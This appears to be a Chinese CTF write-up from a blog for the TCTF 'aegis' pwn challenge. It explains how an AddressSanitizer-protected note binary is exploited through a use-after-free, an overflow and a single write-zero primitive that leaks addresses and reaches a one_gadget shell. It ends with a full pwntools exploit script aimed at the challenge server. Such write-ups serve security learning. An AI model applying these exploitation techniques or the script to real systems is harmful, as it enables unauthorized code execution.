TCTF-aegis详解

TCTF-aegis详解

题目很好值得学习一下

静态分析

拿到题目仔细的分析能发现这是address sanitizer机制可以检测各种的错误,并且自己建立了一个malloc机制。所以glibc的那一套堆分配并没有作用。

main

在这里插入图片描述
实现一个菜单功能

add_note在这里插入图片描述

先加入content然后加入id,地址是存在一个固定的地址,之后可以在动态调试的时候看的出来。同时可以计算出check的地址,也是不会更改的。

show_note

在这里插入图片描述
普通的一个show函数

update_note

在这里插入图片描述
在此处有一个可能溢出的地方,但是由于会有checker一溢出就会造成crash,具体动态调试的时候可以发现。

delte_note

在这里插入图片描述
存在uaf,后面可能可以利用,直接的利用是不存的会被一只checker

secret

在这里插入图片描述
可以任意地址写0,但是只能写一次0,我猜是吧某个checker改为0然后进行一个利用。

动态分析

这个题目还是要靠多动态分析才能出来,首先来几个text看看checker的报错

error

在这里插入图片描述
这是heap use after free后的结果,看的出他check的位置,同时看报错能发现写入00可以绕过checkser。同时溢出也会报错。

heap

在这里插入图片描述
地址与分布,并且不会改变,从这里可以看出heap储存的规律大概是一个heap,然后一个索引的heap指针,那么如果我们能控制指针指向说不定能做很多事情。

思路part1

有一定思路后开始进行尝试,首先调试heap and checker 让其能制造一些可用的溢出来。

一、由逆向可知每次updata会检查cfi_check函数,然后根据heap记录的大小来进行输入,如果我们可以进行一个overflow去写一个0就能做出更大的溢出接下里尝试一下。

overheap_sucess

这里就不具体写了,需要读者自己去调试,找到合适的size去改写,然后制造一个pointer to leak,最后的效果是达到一个指针指向heap就可以造成leak了。
在这里插入图片描述

part2

可以做到leak,我们能得到的programmer base address和libc base address这时候发现给了libc赶紧吧one_gadget算出来先。再去思考应该写哪里。

坑1

会发现尝试写一个malloc-hook(内置的机制非glibc)会有报错,跟进报错的函数,会检查一个指针是否完好,不完好就会执行
在这里插入图片描述

在这里插入图片描述
这里可以发现会调用一个函数,这个函数在跟进去能发现会有一个call rax,溯源rax的位置是否能被利用。发现他是在bss段是可进行更改的一个值,于是明确了改的思路。

坑2

在这里插入图片描述
直接写one发现是不可行的,只能继续想,发现其他函数还是可以的,结果发现rdi在栈上想可能可以利用栈溢出进行一个利用。

final

最后发现是可利用的,改写栈上的ret地址就可以达到一个getshell的作用。关于等下exp上的’\x00’*0x100是为达到清空栈满足onegadget条件

exp:
from pwn import *

debug=1
#context.log_level='debug'
context.log_level = 'debug'

if debug:
    p=process('./aegis',env={'LD_PRELOAD':'./libc-2.27.so'})
    gdb.attach(p)
else:
    p=remote('111.186.63.209',6666)

def get(x):
    return p.recvuntil(x)
    
def pu(x):
    p.send(x)

def pu_enter(x):
    p.sendline(x)

def add(sz,content,id):
    pu_enter('1')
    get('Size')
    pu_enter(str(sz))
    get('Content')
    pu(content)
    get('ID')
    pu_enter(str(id))
    get('Choice: ')

def show(idx):
    pu_enter('2')
    get('Index')
    pu_enter(str(idx))
    

def update(idx,content,id):
    pu_enter('3')
    get('Index')
    pu_enter(str(idx))
    get('Content: ')
    pu(content)
    get('New ID:')
    pu_enter(str(id))
    get('Choice:' )

def delete(idx):
    pu_enter('4')
    get('Index')
    pu_enter(str(idx))
    get('Choice:')

def secret(addr):
    pu_enter('666')
    get('Lucky Number: ')
    pu_enter(str(addr))
    get('Choice:')

add(0x10,'a'*8,0x123456789abcdef)
for i in range(4):
    add(0x10,'b'*0x8,123)

#0x602000000000
#0x7fff8000

secret(0xc047fff8008-4)
update(0,'\x02'*0x12,0x111111111)
update(0,'\x02'*0x10+p64(0x02ffffff00000002)[:7],0x01f000ff1002ff)
delete(0)
#raw_input("#")
add(0x10,p64(0x602000000018),0)
#raw_input("#")
show(0)

get('Content: ')
addr = u64(get('\n')[:-1]+'\x00\x00')
print addr
pbase = addr -0x114AB0
get('Choice: ')

update(5,p64(pbase+0x347DF0)[:2],(pbase+0x347DF0)>>8)
show(0)

get('Content: ')
addr = u64(get('\n')[:-1]+'\x00\x00')
base = addr -0xE4FA0
get('Choice: ')

update(5,p64(pbase+0x0FB08A0),p64(pbase+0x7AE140))
#update(5,p64(pbase+0xfb08a0+0x28),(pbase+0xfb08a0+0x28)>>8)
raw_input("aa")
pu_enter('3')
get('Index')
pu_enter('0')
get('Content')
#raw_input(hex(pbase+0x7AE140))
pu(p64(base+524464)[:7])
#get('ID')
raw_input("#get"+str(hex(pbase+0x7AE140)))
payload = 'a'*471+p64(base+0x4f322)+'\x00'*0x100
#raw_input(hex(base + 0x4f322))
pu_enter(payload)


p.interactive()

####总结
题目难的真实。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值